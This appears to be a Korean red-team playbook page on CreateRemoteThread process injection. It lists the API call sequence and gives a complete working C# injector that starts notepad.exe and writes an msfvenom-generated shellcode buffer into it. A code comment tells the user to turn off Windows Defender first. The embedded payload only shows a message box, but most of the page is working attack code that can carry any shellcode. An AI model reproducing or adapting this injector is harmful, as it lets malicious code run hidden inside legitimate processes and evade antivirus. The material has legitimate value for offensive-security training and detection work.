CreateRemoteThread

CreateRemoteThread 인젝션은 원격 프로세스에 쓰레드를 만들어 공격자의 쉘코드를 실행시키는 전통적인 프로세스 인젝션 방법 중 하나다.

실행 단계

1. OpenProcess - 원격 프로세스의 핸들을 얻는다

2. VirtualAllocEx - 원격 프로세스에 메모리를 할당한다

3. WriteProcessMemory - 할당된 메모리에 쉘코드를 쓴다

4. VirtualProtectEx - 할당된 메모리 권한을 RX로 바꾼다

5. 원격 프로세스에 쓰레드를 생성해 해당 쓰레드가 쉘코드를 실행하게끔 한다

코드

레드팀 플레이북 프로세스 인젝션 깃허브

CreateRemoteThread.cs

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

// 1. Turn off defender 
// 2. Use cmd/powershell/terminal to execute this. Don't execute inside visual studio!

namespace CreateRemoteThread
{
    class Program
    {
        static void Main(string[] args)
        {
            // msfvenom -p windows/x64/messagebox text="stage0 shellcode" title="choi redteam playbook" -f csharp
            byte[] buf = new byte[306] {
                0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
                0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
                0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
                0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
                0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
                0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
                0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
                0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
                0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
                0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
                0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
                0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
                0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
                0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
                0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
                0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x73,0x74,0x61,
                0x67,0x65,0x30,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x00,0x63,
                0x68,0x6f,0x69,0x20,0x72,0x65,0x64,0x74,0x65,0x61,0x6d,0x20,0x70,0x6c,0x61,
                0x79,0x62,0x6f,0x6f,0x6b,0x00 };

            var process = Process.Start(@"C:\windows\system32\notepad.exe");
            var pid = process.Id;

            IntPtr hProc = OpenProcess(ProcessAccessFlags.All, false, pid);
            IntPtr pAlloc = VirtualAllocEx(hProc, IntPtr.Zero, (uint)buf.Length, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ReadWrite);
            bool rWPM = WriteProcessMemory(hProc, pAlloc, buf, (uint)buf.Length, out IntPtr byteWritten);
            bool rVPE = VirtualProtectEx(hProc, pAlloc, (uint)buf.Length, (uint)MemoryProtection.ExecuteRead, out uint lpflOldProtect);
            IntPtr hThread = CreateRemoteThread(hProc, IntPtr.Zero, (uint)0, pAlloc, IntPtr.Zero, (uint)0, out IntPtr lpThreadId);

            Console.WriteLine("[+] Process handle = {0}", hProc.ToInt64().ToString("x2"));
            Console.WriteLine("[+] Allocated memory address = 0x{0}", pAlloc.ToInt64().ToString("x2"));
            Console.WriteLine("[+] WriteProcessMemory result = {0}", rWPM.ToString());
            Console.WriteLine("[+] VirtualProtectExe result = {0}", rVPE.ToString());
            Console.WriteLine("[+] Thread handle = {0}", hThread.ToInt64().ToString("x2"));
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);

        [Flags]
        public enum ProcessAccessFlags : uint
        {
            All = 0x001F0FFF,
            Terminate = 0x00000001,
            CreateThread = 0x00000002,
            VirtualMemoryOperation = 0x00000008,
            VirtualMemoryRead = 0x00000010,
            VirtualMemoryWrite = 0x00000020,
            DuplicateHandle = 0x00000040,
            CreateProcess = 0x000000080,
            SetQuota = 0x00000100,
            SetInformation = 0x00000200,
            QueryInformation = 0x00000400,
            QueryLimitedInformation = 0x00001000,
            Synchronize = 0x00100000
        }

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }
}

위 코드는 notepad.exe 프로세스를 실행한 뒤, CreateRemoteThread 프로세스 인젝션을 실행한다.

코드를 보면 OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> VirtualProtectEx -> CreateRemoteThread 의 흐름을 따라가고 있다.